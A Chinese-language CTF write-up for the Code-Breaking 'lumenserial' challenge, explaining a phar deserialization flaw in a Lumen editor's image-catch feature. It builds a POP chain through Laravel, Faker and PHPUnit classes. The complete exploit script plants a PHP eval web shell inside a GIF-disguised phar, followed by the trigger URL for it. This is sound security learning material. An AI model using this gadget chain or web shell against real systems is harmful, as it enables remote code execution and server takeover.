Code-breaking 中有一道考察phar反序列化漏洞的medium题目——lumenserial,POP链很深,很值得学习。
1. 分析过程
1.1 前期准备
线上环境中,PHP版本为7.2.15,这意味着不能动态调用assert函数。
还禁用了不少系统函数。
| 1
 | system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log
 | 
拿到源码后,先看一下routes/web.php
| 12
 3
 
 | $router->get('/server/editor', 'EditorController@main');
 $router->post('/server/editor', 'EditorController@main');
 
 | 
EditorController应该是个关键点,看一下app/Http/Controllers/EditorController.php。
在类EditorController中有一个doCatchimage()方法,实现了一个远程捕获图片的功能。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 
 | class EditorController extends Controller{
 
 
 protected function doCatchimage(Request $request)
 {
 $sources = $request->input($this->config['catcherFieldName']);
 $rets = [];
 
 if ($sources) {
 foreach ($sources as $url) {
 $rets[] = $this->download($url);
 }
 }
 
 return response()->json([
 'state' => 'SUCCESS',
 'list' => $rets
 ]);
 }
 
 
 
 private function download($url)
 {
 $maxSize = $this->config['catcherMaxSize'];
 $limitExtension = array_map(function ($ext) {
 return ltrim($ext, '.');
 }, $this->config['catcherAllowFiles']);
 $allowTypes = array_map(function ($ext) {
 return "image/{$ext}";
 }, $limitExtension);
 
 $content = file_get_contents($url);
 $img = getimagesizefromstring($content);
 
 
 }
 }
 
 | 
可以看到,doCatchimage()传入了一个Request $request,然后从中获取$url参数,在没有经过任何处理的情况下传入download()方法中,而且网站本身就是一个富文本编辑器,有上传图片的功能,这样我们可以在$content = file_get_contents($url);处来进行phar反序列化。
由于版本和配置限制,我们最终的目标,应该构造类似call_user_func_array('file_put_contents', [])来写马。
1.2 POP链构造
phar反序列化的其他条件都满足了,重点就在POP链的构造上。
在phpggc中。Laravel的一些RCE都是从Illuminate\Broadcasting\PendingBroadcast::__destruct走的,我们也可以以此为出发点。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 
 | class PendingBroadcast{
 protected $events;
 protected $event;
 
 public function __construct(Dispatcher $events, $event)
 {
 $this->event = $event;
 $this->events = $events;
 }
 
 
 
 public function __destruct()
 {
 $this->events->dispatch($this->event);
 }
 }
 
 | 
在这里Dispatcher是一个接口,因此$events是继承了该接口的类。

只有这两个类继承了Dispatcher,而且它们的dispatch()方法都难以利用。
只能换个方向,去寻找存在__call()魔术方法的类。
__call() 在对象中调用一个不可访问方法时调用。
该方法有两个参数,第一个参数 $function_name 会自动接收不存在的方法名,第二个 $arguments 则以数组的方式接收不存在方法的多个参数。

vendor/fzaninotto/faker/src/Faker/ValidGenerator.php第52行。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 
 | public function __call($name, $arguments){
 $i = 0;
 do {
 $res = call_user_func_array(array($this->generator, $name), $arguments);
 $i++;
 if ($i > $this->maxRetries) {
 throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
 }
 } while (!call_user_func($this->validator, $res));
 
 return $res;
 }
 
 | 
这个类应该满足条件,继续往下分析。
若是调用类ValidGenerator的__call()方法,$name的值是dispatch,传入的$arguments是一个数组。
| 1
 | $res = call_user_func_array(array($this->generator, $name), $arguments);
 | 
继续往下分析,看看能不能完全控制call_user_func_array()的参数,目标是控制$res的值,从而在下面while处完成调用。
| 1
 | while (!call_user_func($this->validator, $res));
 | 
在ValidGenerator类的构造函数中,传入了Generator类的实例。
vendor/fzaninotto/faker/src/Faker/Generator.php
因为Generator中没有dispatch方法,所以会调用它的__call()方法。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 
 | public function __call($method, $attributes){
 return $this->format($method, $attributes);
 }
 public function format($formatter, $arguments = array())
 {
 return call_user_func_array($this->getFormatter($formatter), $arguments);
 }
 public function getFormatter($formatter)
 {
 if (isset($this->formatters[$formatter])) {
 return $this->formatters[$formatter];
 }
 foreach ($this->providers as $provider) {
 if (method_exists($provider, $formatter)) {
 $this->formatters[$formatter] = array($provider, $formatter);
 
 return $this->formatters[$formatter];
 }
 }
 throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
 }
 
 | 
在这里,在Generator类中嵌套调用Generator类,实现返回任意类的功能。
| 12
 3
 4
 5
 6
 7
 
 | $g2->formatters = array('mengchen' => $evalobj);$g1->formatters = array(
 "dispatch" => array(
 $g2,
 "getFormatter",
 )
 );
 
 | 
当在$g1中调用dispatch('可控值')时,由于类中不存在该方法,则调用__call()。
假设执行的代码为$g1->dispatch('mengchen');。
则传给__call($method, $attributes),传入的参数$method='dispatch'、$attributes = ['mengchen']。
然后进入format($formatter, $arguments = array()),此时,传入的参数$formatter='dispatch'、$arguments=['mengchen']。
接下来,在函数call_user_func_array()中,$this->getFormatter($formatter),就是$g1->getFormatter('dispatch') === [$g2, "getFormatter"]。
也就是执行函数call_user_func_array([$g2, "getFormatter"], ['mengchen'])。
也就调用了$g2->getFormatter('mengchen') === $evalobj。
这样就实现了返回任意一个类。
此时$res == $evalobj。
到此while (!call_user_func($this->validator, $res));中的$res我们完全可控了,接下来看$this->validator。
在这里找了一个类来做跳板。
vendor/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnCallback.php
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 
 | class ReturnCallback implements Stub{
 private $callback;
 
 public function __construct($callback)
 {
 $this->callback = $callback;
 }
 
 public function invoke(Invocation $invocation)
 {
 return \call_user_func_array($this->callback, $invocation->getParameters());
 }
 
 }
 
 | 
在函数invoke()中,call_user_func_array()的两个参数都是反序列化可控的。Invocation是一个接口,找一下getParameters()的实现。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 
 | class StaticInvocation implements Invocation, SelfDescribing{
 
 
 private $parameters;
 
 
 
 public function getParameters(): array
 {
 return $this->parameters;
 }
 
 }
 
 | 
call_user_func_array()的两个参数我们都能控制了,然后在ValidGenerator类的while (!call_user_func($this->validator, $res));中完成调用即可。
到此完成整个POP链。
1.3 攻击思路
令$this->validator == [$ReturnCallbackobj, 'invoke'],这样$this->validator就成了invoke()方法,然后call_user_func()调用invoke()方法,invoke()调用call_user_func_array(),因为call_user_func_array()的两参数可控,这样就能getshell了。
2. Exp
由上面的分析过程,可以构造最终Exp。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 
 | namespace Illuminate\Broadcasting{class PendingBroadcast{
 function __construct(){
 $this->events = new \Faker\ValidGenerator();
 $this->event = 'mengchen';
 }
 }
 }
 
 namespace Faker{
 class ValidGenerator{
 function __construct(){
 $si = new \PHPUnit\Framework\MockObject\Invocation\StaticInvocation();
 $g1 = new \Faker\Generator(array('mengchen' => $si ));
 $g2 = new \Faker\Generator(array("dispatch" => array($g1, "getFormatter")));
 
 $rc = new \PHPUnit\Framework\MockObject\Stub\ReturnCallback();
 
 $this->validator = array($rc, "invoke");
 $this->generator = $g2;
 $this->maxRetries = 23333;
 }
 }
 
 class Generator{
 function __construct($form){
 $this->formatters = $form;
 }
 }
 
 }
 namespace PHPUnit\Framework\MockObject\Invocation{
 class StaticInvocation{
 function __construct(){
 $this->parameters = array('/var/www/html/upload/shell.php','<?php phpinfo();eval($_POST["cmd"]);?>');
 }
 }
 }
 
 namespace PHPUnit\Framework\MockObject\Stub{
 class ReturnCallback{
 function __construct(){
 $this->callback = 'file_put_contents';
 }
 }
 }
 
 
 namespace{
 $exp = new Illuminate\Broadcasting\PendingBroadcast();
 print_r(urlencode(serialize($exp)));
 
 
 $p = new Phar('./meng.phar', 0);
 $p->startBuffering();
 $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
 $p->setMetadata($exp);
 $p->addFromString('test.txt','test');
 $p->stopBuffering();
 }
 
 | 
3. 利用过程
在本地跑一下exp,然后将生成的phar文件改一个后缀名,直接上传即可,在返回的json数据中有上传图片的路径。

然后直接访问
| 1
 | http://139.199.31.158:8080/server/editor?action=Catchimage&source[]=phar:///var/www/html/upload/image/415c92e8be7c68409ca6bd369d87482f/201902/26/e1ae6f3f0833e9fd73f6.gif
 | 
触发反序列化,在服务器上写马。

然后getflag

4. References
https://paper.seebug.org/680/
http://www.kingkk.com/2018/11/Code-Breaking-Puzzles-题解-学习篇/
http://hpdoger.me/2019/01/09/Code-breaking-medium%E4%B9%8Blumenserial/
https://www.cnblogs.com/iamstudy/articles/code_breaking_lumenserial_writeup.html